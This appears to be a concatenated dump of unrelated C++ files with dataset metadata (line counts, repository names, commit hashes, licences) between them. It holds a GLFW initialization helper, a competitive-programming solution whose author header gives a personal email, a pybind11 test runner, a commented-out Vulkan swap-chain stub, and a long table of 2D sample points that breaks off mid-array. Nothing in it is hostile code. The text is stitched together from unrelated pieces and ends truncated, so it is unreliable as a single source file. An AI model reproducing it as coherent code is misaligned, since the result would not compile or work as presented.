#include "GlfwTools.hpp" #include "Core/Debug/Profiler.hpp" #include <GLFW/glfw3.h> namespace DrkCraft { void init_glfw(void) { DRK_PROFILE_FUNCTION(); { DRK_PROFILE_SCOPE("glfwInit"); auto status = glfwInit(); DRK_ASSERT_CORE(status == GLFW_TRUE, "Failed to initialize GLFW"); } if constexpr (DRK_LOGGING_ENABLED) { glfwSetErrorCallback([](int error, const char* description) { DRK_LOG_CORE_ERROR("GLFW Error [{}]: {}", error, description); }); DRK_LOG_CORE_INFO("Enabled logging GLFW error callbacks"); } } void shutdown_glfw(void) { DRK_PROFILE_FUNCTION(); glfwTerminate(); } }
23.424242
78
0.564036
D3r3k23
f1d216f3c4218c0676912ad07241986d0932e5a0
942
cpp
C++
codes/The String Problem.cpp
smmehrab/problem-solving
4aeab1673f18d3270ee5fc9b64ed6805eacf4af5
[ "MIT" ]
null
null
null
codes/The String Problem.cpp
smmehrab/problem-solving
4aeab1673f18d3270ee5fc9b64ed6805eacf4af5
[ "MIT" ]
null
null
null
codes/The String Problem.cpp
smmehrab/problem-solving
4aeab1673f18d3270ee5fc9b64ed6805eacf4af5
[ "MIT" ]
null
null
null
/* ************************************************ username : smmehrab fullname : s.m.mehrabul islam email : mehrab.24csedu.001@gmail.com institute : university of dhaka, bangladesh session : 2017-2018 ************************************************ */ #include<bits/stdc++.h> #include<algorithm> #include<string> using namespace std; int main(){ int t,m,n,i,j,k; char a[100010],b[100010]; scanf("%d",&t); while(t--){ int c[1000]={0}; scanf("%d %d",&n,&m); scanf("%s", a); scanf("%s", b); for(i=0;i<n;i++){ j= (int) a[i]; c[j]++; } k=0; for(i=0;i<m;i++){ j = (int) b[i]; if(c[j]) c[j]--; else break; if(i+1==m){ i=-1; k++; } } printf("%d\n",k); } }
16.526316
48
0.343949
smmehrab
f1d4d7a53f7ebf772e33204edf2e2cf814664fe8
302
cpp
C++
tests/api/test_api.cpp
higherorderfunctor/snmp-fetch
c95e9f60d38901c500456dc6f07af343b36b4938
[ "CC0-1.0" ]
null
null
null
tests/api/test_api.cpp
higherorderfunctor/snmp-fetch
c95e9f60d38901c500456dc6f07af343b36b4938
[ "CC0-1.0" ]
32
2019-09-19T05:25:07.000Z
2019-12-05T20:28:17.000Z
tests/api/test_api.cpp
higherorderfunctor/snmp-fetch
c95e9f60d38901c500456dc6f07af343b36b4938
[ "CC0-1.0" ]
null
null
null
#define CATCH_CONFIG_RUNNER #include <pybind11/embed.h> namespace py = pybind11; #include "catch.hpp" #include "test_fetch.hpp" #include "test_utils.hpp" int main( int argc, char* argv[] ) { py::scoped_interpreter guard{}; int result = Catch::Session().run( argc, argv ); return result; }
15.894737
50
0.698675
higherorderfunctor
f1d56b57b603cf5f39d5b2d2cfb044318ca6a675
859
cpp
C++
AmberEngineV01/SwapChain.cpp
MortenHavmoeller/AmberEngine
c17fa07c4737c5f196f0fe3c3b8c56b077be70b3
[ "MIT" ]
null
null
null
AmberEngineV01/SwapChain.cpp
MortenHavmoeller/AmberEngine
c17fa07c4737c5f196f0fe3c3b8c56b077be70b3
[ "MIT" ]
null
null
null
AmberEngineV01/SwapChain.cpp
MortenHavmoeller/AmberEngine
c17fa07c4737c5f196f0fe3c3b8c56b077be70b3
[ "MIT" ]
null
null
null
#include "stdafx.h" #include "SwapChain.h" //SwapChain::SwapChain() //{ //} // // //SwapChain::~SwapChain() //{ //} // //void SwapChain::create(WindowView* view, Device* device) { // pWindowView = view; // pDevice = device; //} // //void SwapChain::cleanup() { // //for (auto framebuffer : swapChainFramebuffers) { // // vkDestroyFramebuffer(device, framebuffer, nullptr); // //} // // //vkFreeCommandBuffers(device, commandPool, static_cast<uint32_t>(commandBuffers.size()), commandBuffers.data()); // // //vkDestroyPipeline(device, graphicsPipeline, nullptr); // //vkDestroyPipelineLayout(device, pipelineLayout, nullptr); // //vkDestroyRenderPass(device, renderPass, nullptr); // // //for (auto imageView : swapChainImageViews) { // // vkDestroyImageView(device, imageView, nullptr); // //} // // //vkDestroySwapchainKHR(device, swapChain, nullptr); //}
23.861111
116
0.688009
MortenHavmoeller
f1d6a30433503b146f3d0fb572751aa991df842d
200,682
inl
C++
2d_samples/pmj02_239.inl
st-ario/rayme
315c57c23f4aa4934a8a80e84e3243acd3400808
[ "MIT" ]
1
2021-12-10T23:35:04.000Z
2021-12-10T23:35:04.000Z
2d_samples/pmj02_239.inl
st-ario/rayme
315c57c23f4aa4934a8a80e84e3243acd3400808
[ "MIT" ]
null
null
null
2d_samples/pmj02_239.inl
st-ario/rayme
315c57c23f4aa4934a8a80e84e3243acd3400808
[ "MIT" ]
null
null
null
{std::array<float,2>{0.802370131f, 0.0774969831f}, std::array<float,2>{0.0737312138f, 0.791895688f}, std::array<float,2>{0.658921003f, 0.676377773f}, std::array<float,2>{0.277076811f, 0.31233868f}, std::array<float,2>{0.605151117f, 0.433808684f}, std::array<float,2>{0.412116617f, 0.622748852f}, std::array<float,2>{0.923602998f, 0.877694666f}, std::array<float,2>{0.190357104f, 0.163769767f}, std::array<float,2>{0.715074837f, 0.209295005f}, std::array<float,2>{0.337585032f, 0.987532437f}, std::array<float,2>{0.873905361f, 0.520097673f}, std::array<float,2>{0.00703408057f, 0.460381806f}, std::array<float,2>{0.992709279f, 0.354853004f}, std::array<float,2>{0.182948783f, 0.739801168f}, std::array<float,2>{0.516666889f, 0.823385775f}, std::array<float,2>{0.491888911f, 0.000726944825f}, std::array<float,2>{0.893371403f, 0.144875005f}, std::array<float,2>{0.249746963f, 0.923579276f}, std::array<float,2>{0.565267324f, 0.577666998f}, std::array<float,2>{0.37929064f, 0.379874706f}, std::array<float,2>{0.62999624f, 0.272920936f}, std::array<float,2>{0.290588826f, 0.646712005f}, std::array<float,2>{0.780274034f, 0.763068795f}, std::array<float,2>{0.107935756f, 0.116857953f}, std::array<float,2>{0.551693499f, 0.0536281802f}, std::array<float,2>{0.440030754f, 0.86460948f}, std::array<float,2>{0.948666394f, 0.698000371f}, std::array<float,2>{0.140070096f, 0.323793799f}, std::array<float,2>{0.821653247f, 0.483266443f}, std::array<float,2>{0.0497925915f, 0.53834331f}, std::array<float,2>{0.722556233f, 0.950743258f}, std::array<float,2>{0.349678159f, 0.238286272f}, std::array<float,2>{0.84750849f, 0.223424837f}, std::array<float,2>{0.0251913797f, 0.960440934f}, std::array<float,2>{0.698286533f, 0.548389316f}, std::array<float,2>{0.320955753f, 0.492662042f}, std::array<float,2>{0.511038363f, 0.336161077f}, std::array<float,2>{0.482135653f, 0.70368731f}, std::array<float,2>{0.976673722f, 0.846671462f}, std::array<float,2>{0.166314453f, 0.0355241559f}, std::array<float,2>{0.673519731f, 0.103535235f}, std::array<float,2>{0.254783213f, 0.769508064f}, std::array<float,2>{0.791866124f, 0.63552475f}, std::array<float,2>{0.0859769732f, 0.253715217f}, std::array<float,2>{0.909836471f, 0.404892176f}, std::array<float,2>{0.205554709f, 0.586530745f}, std::array<float,2>{0.618337154f, 0.907712162f}, std::array<float,2>{0.424620926f, 0.129852757f}, std::array<float,2>{0.957783043f, 0.0205371734f}, std::array<float,2>{0.141846642f, 0.836265206f}, std::array<float,2>{0.536441028f, 0.727841258f}, std::array<float,2>{0.453565717f, 0.362353653f}, std::array<float,2>{0.746749043f, 0.449410319f}, std::array<float,2>{0.374435335f, 0.513623655f}, std::array<float,2>{0.841839433f, 0.974991977f}, std::array<float,2>{0.0325247012f, 0.196945637f}, std::array<float,2>{0.583015203f, 0.181644812f}, std::array<float,2>{0.395932853f, 0.904748857f}, std::array<float,2>{0.887913465f, 0.601024926f}, std::array<float,2>{0.221544012f, 0.41457209f}, std::array<float,2>{0.764315724f, 0.292180687f}, std::array<float,2>{0.11687275f, 0.670614481f}, std::array<float,2>{0.649728179f, 0.810582936f}, std::array<float,2>{0.309134692f, 0.0825788528f}, std::array<float,2>{0.834529221f, 0.0416246839f}, std::array<float,2>{0.0413419753f, 0.857903898f}, std::array<float,2>{0.740582407f, 0.715160608f}, std::array<float,2>{0.360704631f, 0.331728756f}, std::array<float,2>{0.543589115f, 0.487827867f}, std::array<float,2>{0.468355685f, 0.560280383f}, std::array<float,2>{0.967914164f, 0.967067897f}, std::array<float,2>{0.153303325f, 0.233211011f}, std::array<float,2>{0.648389697f, 0.138790071f}, std::array<float,2>{0.298868477f, 0.919642866f}, std::array<float,2>{0.753627896f, 0.583394945f}, std::array<float,2>{0.119061604f, 0.397268713f}, std::array<float,2>{0.877428889f, 0.264580727f}, std::array<float,2>{0.227001682f, 0.629707217f}, std::array<float,2>{0.592336953f, 0.776005805f}, std::array<float,2>{0.402499616f, 0.101146363f}, std::array<float,2>{0.970764875f, 0.189054057f}, std::array<float,2>{0.162474647f, 0.982407331f}, std::array<float,2>{0.503960669f, 0.501764536f}, std::array<float,2>{0.471900761f, 0.441651911f}, std::array<float,2>{0.69261694f, 0.370755583f}, std::array<float,2>{0.31914258f, 0.725316286f}, std::array<float,2>{0.856393337f, 0.82863915f}, std::array<float,2>{0.0168509334f, 0.024082277f}, std::array<float,2>{0.61298269f, 0.0899657309f}, std::array<float,2>{0.434534162f, 0.800513744f}, std::array<float,2>{0.914672136f, 0.663653791f}, std::array<float,2>{0.217502028f, 0.288683891f}, std::array<float,2>{0.78187865f, 0.407332152f}, std::array<float,2>{0.0812068731f, 0.607711971f}, std::array<float,2>{0.685885191f, 0.894043505f}, std::array<float,2>{0.259497613f, 0.173354343f}, std::array<float,2>{0.76570648f, 0.164682105f}, std::array<float,2>{0.0967011005f, 0.883229136f}, std::array<float,2>{0.635493934f, 0.610251784f}, std::array<float,2>{0.288645715f, 0.425317019f}, std::array<float,2>{0.572643399f, 0.303058654f}, std::array<float,2>{0.388030201f, 0.681519866f}, std::array<float,2>{0.900480092f, 0.789048731f}, std::array<float,2>{0.23629126f, 0.0665837079f}, std::array<float,2>{0.727506757f, 0.0142942509f}, std::array<float,2>{0.35777545f, 0.81638056f}, std::array<float,2>{0.816209435f, 0.749340892f}, std::array<float,2>{0.0604316443f, 0.346626639f}, std::array<float,2>{0.938325822f, 0.464508206f}, std::array<float,2>{0.132702768f, 0.525525093f}, std::array<float,2>{0.558248341f, 0.992495418f}, std::array<float,2>{0.450337112f, 0.212724432f}, std::array<float,2>{0.929858625f, 0.119291499f}, std::array<float,2>{0.195805669f, 0.751666725f}, std::array<float,2>{0.595246375f, 0.651874483f}, std::array<float,2>{0.417627722f, 0.278142035f}, std::array<float,2>{0.665479004f, 0.38667804f}, std::array<float,2>{0.272201717f, 0.564859748f}, std::array<float,2>{0.812291622f, 0.929799736f}, std::array<float,2>{0.0674864575f, 0.149948478f}, std::array<float,2>{0.529167473f, 0.244314313f}, std::array<float,2>{0.495153368f, 0.943026721f}, std::array<float,2>{0.988431454f, 0.545598745f}, std::array<float,2>{0.173698559f, 0.471060812f}, std::array<float,2>{0.863282919f, 0.318552375f}, std::array<float,2>{0.0148831131f, 0.691879451f}, std::array<float,2>{0.70460248f, 0.867291331f}, std::array<float,2>{0.329222322f, 0.0578377917f}, std::array<float,2>{0.869479418f, 0.0948429704f}, std::array<float,2>{0.00168236613f, 0.778927147f}, std::array<float,2>{0.711879551f, 0.62683481f}, std::array<float,2>{0.342639387f, 0.260279506f}, std::array<float,2>{0.522453547f, 0.392278731f}, std::array<float,2>{0.487198502f, 0.580683053f}, std::array<float,2>{0.999458671f, 0.917942941f}, std::array<float,2>{0.187063918f, 0.13353543f}, std::array<float,2>{0.661961675f, 0.227906987f}, std::array<float,2>{0.280075729f, 0.964557052f}, std::array<float,2>{0.797660708f, 0.557303905f}, std::array<float,2>{0.0771912038f, 0.488859951f}, std::array<float,2>{0.926979601f, 0.335411519f}, std::array<float,2>{0.191481352f, 0.713823438f}, std::array<float,2>{0.608176351f, 0.8546561f}, std::array<float,2>{0.407679141f, 0.0456605218f}, std::array<float,2>{0.950773716f, 0.17811425f}, std::array<float,2>{0.132945031f, 0.897372425f}, std::array<float,2>{0.548895836f, 0.604587555f}, std::array<float,2>{0.442829192f, 0.413876176f}, std::array<float,2>{0.72289598f, 0.284836739f}, std::array<float,2>{0.344314843f, 0.65815413f}, std::array<float,2>{0.824355543f, 0.802115381f}, std::array<float,2>{0.0529902168f, 0.0879655778f}, std::array<float,2>{0.569929302f, 0.0287436508f}, std::array<float,2>{0.375531048f, 0.835032403f}, std::array<float,2>{0.896898925f, 0.722627342f}, std::array<float,2>{0.245524198f, 0.37133494f}, std::array<float,2>{0.776036203f, 0.440120846f}, std::array<float,2>{0.104624532f, 0.507098317f}, std::array<float,2>{0.626694679f, 0.978863537f}, std::array<float,2>{0.295012534f, 0.192865446f}, std::array<float,2>{0.794289291f, 0.216980726f}, std::array<float,2>{0.0906324238f, 0.999843836f}, std::array<float,2>{0.679343939f, 0.527876675f}, std::array<float,2>{0.253420144f, 0.468070716f}, std::array<float,2>{0.622035623f, 0.350838184f}, std::array<float,2>{0.425941795f, 0.74508673f}, std::array<float,2>{0.913508117f, 0.818659544f}, std::array<float,2>{0.209304661f, 0.00805626065f}, std::array<float,2>{0.700755775f, 0.063964799f}, std::array<float,2>{0.325965881f, 0.783061385f}, std::array<float,2>{0.850502133f, 0.687429428f}, std::array<float,2>{0.0302625708f, 0.29889679f}, std::array<float,2>{0.982966363f, 0.426686078f}, std::array<float,2>{0.169730946f, 0.615538001f}, std::array<float,2>{0.515113652f, 0.890160561f}, std::array<float,2>{0.476911843f, 0.16952315f}, std::array<float,2>{0.884106874f, 0.0612902083f}, std::array<float,2>{0.225320578f, 0.874889433f}, std::array<float,2>{0.581578553f, 0.688580632f}, std::array<float,2>{0.392134458f, 0.314209163f}, std::array<float,2>{0.653238952f, 0.476252377f}, std::array<float,2>{0.30656898f, 0.541946888f}, std::array<float,2>{0.760004401f, 0.939283729f}, std::array<float,2>{0.111819245f, 0.249888301f}, std::array<float,2>{0.532541513f, 0.153101489f}, std::array<float,2>{0.459690481f, 0.93546778f}, std::array<float,2>{0.953758478f, 0.569319606f}, std::array<float,2>{0.147389874f, 0.389189601f}, std::array<float,2>{0.836913884f, 0.274985701f}, std::array<float,2>{0.0362252258f, 0.655976236f}, std::array<float,2>{0.745732903f, 0.755359054f}, std::array<float,2>{0.370684355f, 0.124232396f}, std::array<float,2>{0.756481767f, 0.00437382888f}, std::array<float,2>{0.124755032f, 0.826634645f}, std::array<float,2>{0.642982423f, 0.737402856f}, std::array<float,2>{0.301445454f, 0.358617932f}, std::array<float,2>{0.587268531f, 0.454700083f}, std::array<float,2>{0.401871502f, 0.518796921f}, std::array<float,2>{0.882680655f, 0.990656376f}, std::array<float,2>{0.231810927f, 0.20381707f}, std::array<float,2>{0.735077202f, 0.158450395f}, std::array<float,2>{0.365699947f, 0.879688084f}, std::array<float,2>{0.828903556f, 0.618508577f}, std::array<float,2>{0.0461527742f, 0.42977649f}, std::array<float,2>{0.962165534f, 0.308152616f}, std::array<float,2>{0.151192069f, 0.675679088f}, std::array<float,2>{0.54244554f, 0.793052852f}, std::array<float,2>{0.463550001f, 0.0713735744f}, std::array<float,2>{0.918484569f, 0.238199845f}, std::array<float,2>{0.214091182f, 0.948727131f}, std::array<float,2>{0.615890384f, 0.532928646f}, std::array<float,2>{0.431986451f, 0.479023397f}, std::array<float,2>{0.679765284f, 0.326011062f}, std::array<float,2>{0.263586193f, 0.702702761f}, std::array<float,2>{0.788077414f, 0.862749577f}, std::array<float,2>{0.0821277723f, 0.0496576689f}, std::array<float,2>{0.501771688f, 0.112960175f}, std::array<float,2>{0.474286169f, 0.760190606f}, std::array<float,2>{0.974429131f, 0.642516255f}, std::array<float,2>{0.157735541f, 0.26884383f}, std::array<float,2>{0.855063796f, 0.378358543f}, std::array<float,2>{0.019541055f, 0.574020803f}, std::array<float,2>{0.687551677f, 0.927972615f}, std::array<float,2>{0.313855082f, 0.144496828f}, std::array<float,2>{0.818882704f, 0.126059905f}, std::array<float,2>{0.0581638664f, 0.912268102f}, std::array<float,2>{0.734107375f, 0.590186059f}, std::array<float,2>{0.355025798f, 0.400816888f}, std::array<float,2>{0.559814334f, 0.256590605f}, std::array<float,2>{0.446672976f, 0.639869988f}, std::array<float,2>{0.943956912f, 0.771769226f}, std::array<float,2>{0.127169833f, 0.109009035f}, std::array<float,2>{0.637358308f, 0.0331956111f}, std::array<float,2>{0.282628149f, 0.850911736f}, std::array<float,2>{0.772888362f, 0.709795415f}, std::array<float,2>{0.0978871956f, 0.343399107f}, std::array<float,2>{0.905738592f, 0.497539788f}, std::array<float,2>{0.23976104f, 0.55131197f}, std::array<float,2>{0.577748477f, 0.954388142f}, std::array<float,2>{0.384292632f, 0.221360683f}, std::array<float,2>{0.986801803f, 0.0802148357f}, std::array<float,2>{0.17859681f, 0.807652473f}, std::array<float,2>{0.523654819f, 0.666086853f}, std::array<float,2>{0.496794403f, 0.296595901f}, std::array<float,2>{0.707988143f, 0.419509888f}, std::array<float,2>{0.33418417f, 0.595946431f}, std::array<float,2>{0.862628162f, 0.900679171f}, std::array<float,2>{0.00984143279f, 0.184266776f}, std::array<float,2>{0.599522769f, 0.200562075f}, std::array<float,2>{0.419056356f, 0.968868375f}, std::array<float,2>{0.933786213f, 0.508634865f}, std::array<float,2>{0.202978566f, 0.446411073f}, std::array<float,2>{0.805256188f, 0.365679502f}, std::array<float,2>{0.063693516f, 0.732705891f}, std::array<float,2>{0.671468973f, 0.840844154f}, std::array<float,2>{0.266138107f, 0.0175854061f}, std::array<float,2>{0.779177547f, 0.114343435f}, std::array<float,2>{0.105886556f, 0.764065385f}, std::array<float,2>{0.632196426f, 0.646203101f}, std::array<float,2>{0.292779148f, 0.271027118f}, std::array<float,2>{0.563882351f, 0.381173462f}, std::array<float,2>{0.381778657f, 0.57535392f}, std::array<float,2>{0.892349958f, 0.924202561f}, std::array<float,2>{0.246482581f, 0.148058027f}, std::array<float,2>{0.719886124f, 0.241574973f}, std::array<float,2>{0.349464059f, 0.951362908f}, std::array<float,2>{0.823244274f, 0.536417067f}, std::array<float,2>{0.0481965207f, 0.481824636f}, std::array<float,2>{0.946241319f, 0.321335554f}, std::array<float,2>{0.138419315f, 0.696376264f}, std::array<float,2>{0.554650068f, 0.866195977f}, std::array<float,2>{0.438229918f, 0.0515204407f}, std::array<float,2>{0.925156415f, 0.162096664f}, std::array<float,2>{0.188542917f, 0.876410067f}, std::array<float,2>{0.602303088f, 0.624178112f}, std::array<float,2>{0.411218464f, 0.436154187f}, std::array<float,2>{0.657158792f, 0.309837639f}, std::array<float,2>{0.273590118f, 0.678444088f}, std::array<float,2>{0.803864837f, 0.790729642f}, std::array<float,2>{0.0716987997f, 0.0745404586f}, std::array<float,2>{0.518168271f, 0.00329710939f}, std::array<float,2>{0.488630682f, 0.820681453f}, std::array<float,2>{0.995726526f, 0.742035747f}, std::array<float,2>{0.179705411f, 0.35337314f}, std::array<float,2>{0.872409701f, 0.457829744f}, std::array<float,2>{0.00422724942f, 0.522522986f}, std::array<float,2>{0.717855036f, 0.985120773f}, std::array<float,2>{0.338640839f, 0.207857832f}, std::array<float,2>{0.840793669f, 0.197659567f}, std::array<float,2>{0.0350906812f, 0.974575698f}, std::array<float,2>{0.749388456f, 0.51400435f}, std::array<float,2>{0.372565687f, 0.453003705f}, std::array<float,2>{0.538580477f, 0.35942784f}, std::array<float,2>{0.456484497f, 0.729490101f}, std::array<float,2>{0.959064543f, 0.839052916f}, std::array<float,2>{0.143459857f, 0.0223152824f}, std::array<float,2>{0.651580811f, 0.0853008926f}, std::array<float,2>{0.310771585f, 0.809060574f}, std::array<float,2>{0.762724638f, 0.668294728f}, std::array<float,2>{0.114143357f, 0.290361404f}, std::array<float,2>{0.889079809f, 0.417927474f}, std::array<float,2>{0.220298052f, 0.598099649f}, std::array<float,2>{0.584636867f, 0.903779864f}, std::array<float,2>{0.396731585f, 0.180730417f}, std::array<float,2>{0.978591681f, 0.0376184136f}, std::array<float,2>{0.165431768f, 0.84556073f}, std::array<float,2>{0.508377314f, 0.706059396f}, std::array<float,2>{0.484202325f, 0.33965978f}, std::array<float,2>{0.696314454f, 0.494600475f}, std::array<float,2>{0.322596073f, 0.550549388f}, std::array<float,2>{0.844182611f, 0.95850271f}, std::array<float,2>{0.0257053468f, 0.226318195f}, std::array<float,2>{0.620103061f, 0.131638229f}, std::array<float,2>{0.421972841f, 0.909269691f}, std::array<float,2>{0.907792747f, 0.589223742f}, std::array<float,2>{0.204316974f, 0.402746379f}, std::array<float,2>{0.789126217f, 0.251158357f}, std::array<float,2>{0.0878955275f, 0.634604871f}, std::array<float,2>{0.67433393f, 0.765887797f}, std::array<float,2>{0.25654611f, 0.102443337f}, std::array<float,2>{0.858646572f, 0.0271366891f}, std::array<float,2>{0.0193676911f, 0.83108294f}, std::array<float,2>{0.694111466f, 0.723459363f}, std::array<float,2>{0.316853166f, 0.367550939f}, std::array<float,2>{0.505979419f, 0.445058793f}, std::array<float,2>{0.4696787f, 0.50215584f}, std::array<float,2>{0.968976438f, 0.982524157f}, std::array<float,2>{0.160875544f, 0.191386268f}, std::array<float,2>{0.685325623f, 0.17422387f}, std::array<float,2>{0.261537403f, 0.892023146f}, std::array<float,2>{0.783828616f, 0.605593741f}, std::array<float,2>{0.079823941f, 0.408439994f}, std::array<float,2>{0.916982234f, 0.286886126f}, std::array<float,2>{0.215840712f, 0.661505342f}, std::array<float,2>{0.609892488f, 0.797514915f}, std::array<float,2>{0.436802447f, 0.0936958417f}, std::array<float,2>{0.965871871f, 0.230777562f}, std::array<float,2>{0.155363083f, 0.965197086f}, std::array<float,2>{0.546137393f, 0.561458468f}, std::array<float,2>{0.465419799f, 0.485980898f}, std::array<float,2>{0.738821685f, 0.329050362f}, std::array<float,2>{0.36262244f, 0.717369497f}, std::array<float,2>{0.833693743f, 0.856553018f}, std::array<float,2>{0.0404201709f, 0.0394219309f}, std::array<float,2>{0.591674864f, 0.0987562239f}, std::array<float,2>{0.405467063f, 0.775313854f}, std::array<float,2>{0.876900136f, 0.631522f}, std::array<float,2>{0.229877248f, 0.262945235f}, std::array<float,2>{0.751782477f, 0.396220475f}, std::array<float,2>{0.120261423f, 0.584058881f}, std::array<float,2>{0.645545602f, 0.921175897f}, std::array<float,2>{0.29736498f, 0.13832745f}, std::array<float,2>{0.809274554f, 0.151603162f}, std::array<float,2>{0.0693980008f, 0.932313561f}, std::array<float,2>{0.66681242f, 0.563019514f}, std::array<float,2>{0.271264195f, 0.382835269f}, std::array<float,2>{0.596999824f, 0.280837059f}, std::array<float,2>{0.415745616f, 0.649034798f}, std::array<float,2>{0.931970894f, 0.751966178f}, std::array<float,2>{0.197875917f, 0.118421726f}, std::array<float,2>{0.705808938f, 0.0558292083f}, std::array<float,2>{0.330995619f, 0.869751155f}, std::array<float,2>{0.866522014f, 0.69507587f}, std::array<float,2>{0.0123381615f, 0.31799379f}, std::array<float,2>{0.992061198f, 0.46945551f}, std::array<float,2>{0.174279749f, 0.543676198f}, std::array<float,2>{0.529600799f, 0.944538176f}, std::array<float,2>{0.493943423f, 0.243179247f}, std::array<float,2>{0.900097728f, 0.0685856268f}, std::array<float,2>{0.237116948f, 0.786274433f}, std::array<float,2>{0.570775151f, 0.682711542f}, std::array<float,2>{0.389275014f, 0.301745474f}, std::array<float,2>{0.632899702f, 0.422648579f}, std::array<float,2>{0.285367906f, 0.612225235f}, std::array<float,2>{0.769166708f, 0.88641417f}, std::array<float,2>{0.0956852064f, 0.167110786f}, std::array<float,2>{0.555526733f, 0.213064313f}, std::array<float,2>{0.452384979f, 0.994370162f}, std::array<float,2>{0.939871728f, 0.523561478f}, std::array<float,2>{0.130470946f, 0.462452829f}, std::array<float,2>{0.812500238f, 0.344491094f}, std::array<float,2>{0.0613528229f, 0.746251047f}, std::array<float,2>{0.728647709f, 0.813873947f}, std::array<float,2>{0.35599187f, 0.012894812f}, std::array<float,2>{0.826858342f, 0.0873124227f}, std::array<float,2>{0.0526226126f, 0.80467689f}, std::array<float,2>{0.726123929f, 0.658791423f}, std::array<float,2>{0.345838845f, 0.282372355f}, std::array<float,2>{0.547155082f, 0.411273539f}, std::array<float,2>{0.444221944f, 0.603138328f}, std::array<float,2>{0.952788889f, 0.896015942f}, std::array<float,2>{0.13599582f, 0.176228151f}, std::array<float,2>{0.628577292f, 0.195155054f}, std::array<float,2>{0.293418288f, 0.977835655f}, std::array<float,2>{0.774113238f, 0.504465878f}, std::array<float,2>{0.102131531f, 0.43886441f}, std::array<float,2>{0.896307707f, 0.374404371f}, std::array<float,2>{0.243482903f, 0.720290363f}, std::array<float,2>{0.567561567f, 0.832041621f}, std::array<float,2>{0.37847662f, 0.0302126165f}, std::array<float,2>{0.997332036f, 0.13564229f}, std::array<float,2>{0.185248569f, 0.914710402f}, std::array<float,2>{0.520871758f, 0.579968154f}, std::array<float,2>{0.484817237f, 0.392631352f}, std::array<float,2>{0.713840902f, 0.259114057f}, std::array<float,2>{0.341049671f, 0.628444552f}, std::array<float,2>{0.868058741f, 0.780552506f}, std::array<float,2>{0.00353879994f, 0.0965698436f}, std::array<float,2>{0.606845975f, 0.0445368402f}, std::array<float,2>{0.408834279f, 0.851938009f}, std::array<float,2>{0.928699672f, 0.71230346f}, std::array<float,2>{0.195293292f, 0.332265556f}, std::array<float,2>{0.799692452f, 0.490986139f}, std::array<float,2>{0.0748279467f, 0.555699587f}, std::array<float,2>{0.662116826f, 0.961396337f}, std::array<float,2>{0.27810812f, 0.229736641f}, std::array<float,2>{0.758540928f, 0.247116491f}, std::array<float,2>{0.110183045f, 0.941128314f}, std::array<float,2>{0.655029655f, 0.540737689f}, std::array<float,2>{0.307348281f, 0.474522471f}, std::array<float,2>{0.578257501f, 0.315303534f}, std::array<float,2>{0.394321978f, 0.689814806f}, std::array<float,2>{0.885999262f, 0.871610343f}, std::array<float,2>{0.222850829f, 0.0603498071f}, std::array<float,2>{0.742939889f, 0.121913321f}, std::array<float,2>{0.368748426f, 0.757135034f}, std::array<float,2>{0.839153051f, 0.653354406f}, std::array<float,2>{0.0379040539f, 0.275654227f}, std::array<float,2>{0.955587506f, 0.387701482f}, std::array<float,2>{0.144734621f, 0.566966355f}, std::array<float,2>{0.534389257f, 0.936137617f}, std::array<float,2>{0.457364023f, 0.154695883f}, std::array<float,2>{0.911173463f, 0.0116820578f}, std::array<float,2>{0.207226604f, 0.816855967f}, std::array<float,2>{0.624589622f, 0.742579877f}, std::array<float,2>{0.42790699f, 0.349425614f}, std::array<float,2>{0.677342534f, 0.465429842f}, std::array<float,2>{0.250968665f, 0.531025589f}, std::array<float,2>{0.796413362f, 0.996794403f}, std::array<float,2>{0.0925441161f, 0.215463698f}, std::array<float,2>{0.512313426f, 0.171167225f}, std::array<float,2>{0.479552746f, 0.888018548f}, std::array<float,2>{0.980504394f, 0.613427699f}, std::array<float,2>{0.171017081f, 0.428688437f}, std::array<float,2>{0.849240124f, 0.298335046f}, std::array<float,2>{0.0279433131f, 0.684972584f}, std::array<float,2>{0.70242095f, 0.783853412f}, std::array<float,2>{0.326337039f, 0.0652528256f}, std::array<float,2>{0.786029398f, 0.0475274287f}, std::array<float,2>{0.0845510811f, 0.859652936f}, std::array<float,2>{0.682501316f, 0.699838042f}, std::array<float,2>{0.264933258f, 0.327571958f}, std::array<float,2>{0.615053356f, 0.477716506f}, std::array<float,2>{0.430299848f, 0.533293784f}, std::array<float,2>{0.921030939f, 0.946479976f}, std::array<float,2>{0.211616889f, 0.235380799f}, std::array<float,2>{0.689503491f, 0.14128764f}, std::array<float,2>{0.314779878f, 0.926216006f}, std::array<float,2>{0.852272987f, 0.571811497f}, std::array<float,2>{0.0216147602f, 0.375536472f}, std::array<float,2>{0.975302577f, 0.267220736f}, std::array<float,2>{0.158379808f, 0.643991709f}, std::array<float,2>{0.502740741f, 0.758116901f}, std::array<float,2>{0.474925101f, 0.109491795f}, std::array<float,2>{0.879428029f, 0.205682456f}, std::array<float,2>{0.233119771f, 0.988850653f}, std::array<float,2>{0.588141263f, 0.517473042f}, std::array<float,2>{0.39931339f, 0.456287593f}, std::array<float,2>{0.640760005f, 0.357406676f}, std::array<float,2>{0.304483145f, 0.73455447f}, std::array<float,2>{0.754597604f, 0.825605392f}, std::array<float,2>{0.121285997f, 0.00677981507f}, std::array<float,2>{0.540363491f, 0.0731402189f}, std::array<float,2>{0.461983621f, 0.795470476f}, std::array<float,2>{0.963382602f, 0.67299366f}, std::array<float,2>{0.150238171f, 0.306271344f}, std::array<float,2>{0.831707895f, 0.433381975f}, std::array<float,2>{0.0447085425f, 0.620256364f}, std::array<float,2>{0.736379325f, 0.881139874f}, std::array<float,2>{0.364734739f, 0.157139972f}, std::array<float,2>{0.860306621f, 0.186825007f}, std::array<float,2>{0.00911152922f, 0.898555338f}, std::array<float,2>{0.710740507f, 0.594128191f}, std::array<float,2>{0.332437217f, 0.420957953f}, std::array<float,2>{0.525626302f, 0.293811828f}, std::array<float,2>{0.498604029f, 0.664463103f}, std::array<float,2>{0.984811544f, 0.806002736f}, std::array<float,2>{0.176301658f, 0.0788897723f}, std::array<float,2>{0.668272376f, 0.0169027448f}, std::array<float,2>{0.269508511f, 0.842571139f}, std::array<float,2>{0.807570577f, 0.731897175f}, std::array<float,2>{0.0654272735f, 0.36492911f}, std::array<float,2>{0.936399043f, 0.448672444f}, std::array<float,2>{0.20039545f, 0.511007309f}, std::array<float,2>{0.600074291f, 0.972157121f}, std::array<float,2>{0.420025945f, 0.202651441f}, std::array<float,2>{0.943057597f, 0.106197596f}, std::array<float,2>{0.125642508f, 0.771385312f}, std::array<float,2>{0.561452568f, 0.638454556f}, std::array<float,2>{0.447346807f, 0.255139828f}, std::array<float,2>{0.731611192f, 0.400234073f}, std::array<float,2>{0.351608902f, 0.593141735f}, std::array<float,2>{0.816832244f, 0.911867619f}, 